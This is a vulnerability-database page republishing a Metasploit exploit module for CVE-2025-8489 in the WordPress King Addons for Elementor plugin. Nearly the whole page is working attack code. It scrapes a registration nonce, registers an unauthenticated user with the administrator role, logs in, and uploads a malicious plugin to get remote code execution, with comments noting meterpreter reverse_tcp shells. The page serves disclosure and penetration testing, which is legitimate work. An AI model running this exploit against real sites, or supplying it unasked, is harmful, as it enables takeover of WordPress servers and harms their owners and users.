Lucene search
K

📄 WordPress King Addons for Elementor Privilege Escalation / Remote Code Execution

🗓️ 11 Dec 2025 00:00:00Reported by Valentin Lobstein, Peter ThaleikisType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 154 Views

Exploits unauthenticated privilege escalation in King Addons for Elementor to create admin

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Wordpress
    
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress King Addons for Elementor Unauthenticated Privilege Escalation to RCE',
            'Description' => %q{
              This module exploits an unauthenticated privilege escalation vulnerability in the WordPress
              King Addons for Elementor plugin (versions 24.12.92 to 51.1.14). The vulnerability exists
              in the handle_register_ajax() function which allows unauthenticated attackers to specify
              the user_role parameter during registration, enabling them to create administrator accounts.
    
              This exploit requires a WordPress page containing the King Addons "Login Register Form"
              Elementor widget, which exposes the required nonce token in the page's JavaScript.
              The NONCE_PAGE option must be set to the path of such a page.
    
              Once an administrator account is created, the module uploads and executes a malicious
              plugin to achieve remote code execution (RCE).
            },
            'Author' => [
              'Peter Thaleikis',                             # Vulnerability discovery
              'Valentin Lobstein <[email protected]>'     # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2025-8489'],
              ['URL', 'https://www.wordfence.com/blog/2025/12/attackers-actively-exploiting-critical-vulnerability-in-king-addons-for-elementor-plugin/']
            ],
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'DisclosureDate' => '2025-10-30',
            'DefaultTarget' => 0,
            'Privileged' => false,
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options(
          [
            OptString.new('NONCE_PAGE', [true, 'Path to page containing King Addons Login Register Form widget', '']),
            OptString.new('USERNAME', [true, 'Username to create', Faker::Internet.username]),
            OptString.new('PASSWORD', [true, 'Password for the new user', Faker::Internet.password(min_length: 8)]),
            OptString.new('EMAIL', [true, 'Email for the new user', Faker::Internet.email])
          ]
        )
      end
    
      def check
        return CheckCode::Unknown unless wordpress_and_online?
    
        plugin_check = check_plugin_version_from_readme('king-addons', '51.1.35', '24.12.92')
        return plugin_check if plugin_check == CheckCode::Safe
    
        @nonce = find_nonce
        return CheckCode::Detected('Could not find nonce on specified page') unless @nonce
    
        CheckCode::Appears
      end
    
      def exploit
        fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?
    
        user_existed = create_admin_user(datastore['USERNAME'], datastore['PASSWORD'], datastore['EMAIL'])
    
        admin_cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
        unless admin_cookie
          msg = 'Failed to log in to WordPress admin.'
          msg += ' User may exist with a different password.' if user_existed
          fail_with(Failure::UnexpectedReply, msg)
        end
    
        upload_and_execute_payload(admin_cookie)
      end
    
      private
    
      def find_nonce
        nonce_page = normalize_uri(target_uri.path, datastore['NONCE_PAGE'])
        res = send_request_cgi('method' => 'GET', 'uri' => nonce_page)
        return nil unless res&.code == 200
    
        doc = res.get_html_document
        return nil unless doc
    
        script_nodes = doc.xpath('//script[contains(text(), "king_addons_login_register_vars")]')
    
        script_nodes.each do |script_node|
          nonce = extract_nonce_from_script(script_node.text)
          return nonce if nonce
        end
    
        vprint_warning('Could not find nonce')
        nil
      end
    
      def extract_nonce_from_script(script_content)
        match = script_content.match(/king_addons_login_register_vars\s*=\s*({[^;]+})/)
        return nil unless match
    
        json_data = begin
          JSON.parse(match[1].gsub('\/', '/'))
        rescue StandardError
          nil
        end
        return nil unless json_data.is_a?(Hash)
    
        nonce = json_data['register_nonce']
        return nil unless nonce.is_a?(String) && !nonce.empty?
    
        vprint_status("Found nonce: #{nonce}")
        nonce
      end
    
      def send_registration_request(username:, email:, password:, user_role: 'administrator')
        @nonce ||= find_nonce
        fail_with(Failure::NotFound, 'Could not find nonce on specified page') unless @nonce
    
        send_request_cgi(
          'method' => 'POST',
          'uri' => wordpress_url_admin_ajax,
          'vars_post' => {
            'action' => 'king_addons_user_register',
            'nonce' => @nonce,
            'username' => username,
            'email' => email,
            'password' => password,
            'confirm_password' => password,
            'user_role' => user_role,
            'terms_required' => 'no'
          }
        )
      end
    
      def create_admin_user(username, password, email)
        res = send_registration_request(username: username, email: email, password: password)
        unless res&.code == 200
          fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
        end
    
        json = res.get_json_document
        unless json.is_a?(Hash)
          fail_with(Failure::UnexpectedReply, 'Failed to create administrator account.')
        end
    
        if json['success'] == false && json.dig('data', 'message')&.match?(/already exists|username.*taken|user.*exists/i)
          print_warning('User or email already exists, attempting login with provided credentials...')
          return true
        end
    
        if json['success'] == true
          return false
        end
    
        fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.body}")
      end
    
      def upload_and_execute_payload(admin_cookie)
        plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
        payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
    
        zip = generate_plugin(plugin_name, payload_name)
        fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
    
        register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
        register_dir_for_cleanup("../#{plugin_name}")
        payload_file = "#{payload_name}.php"
        payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, payload_file)
        send_request_cgi('uri' => payload_uri, 'method' => 'GET')
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Dec 2025 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.19.8
EPSS0.49263
SSVC
154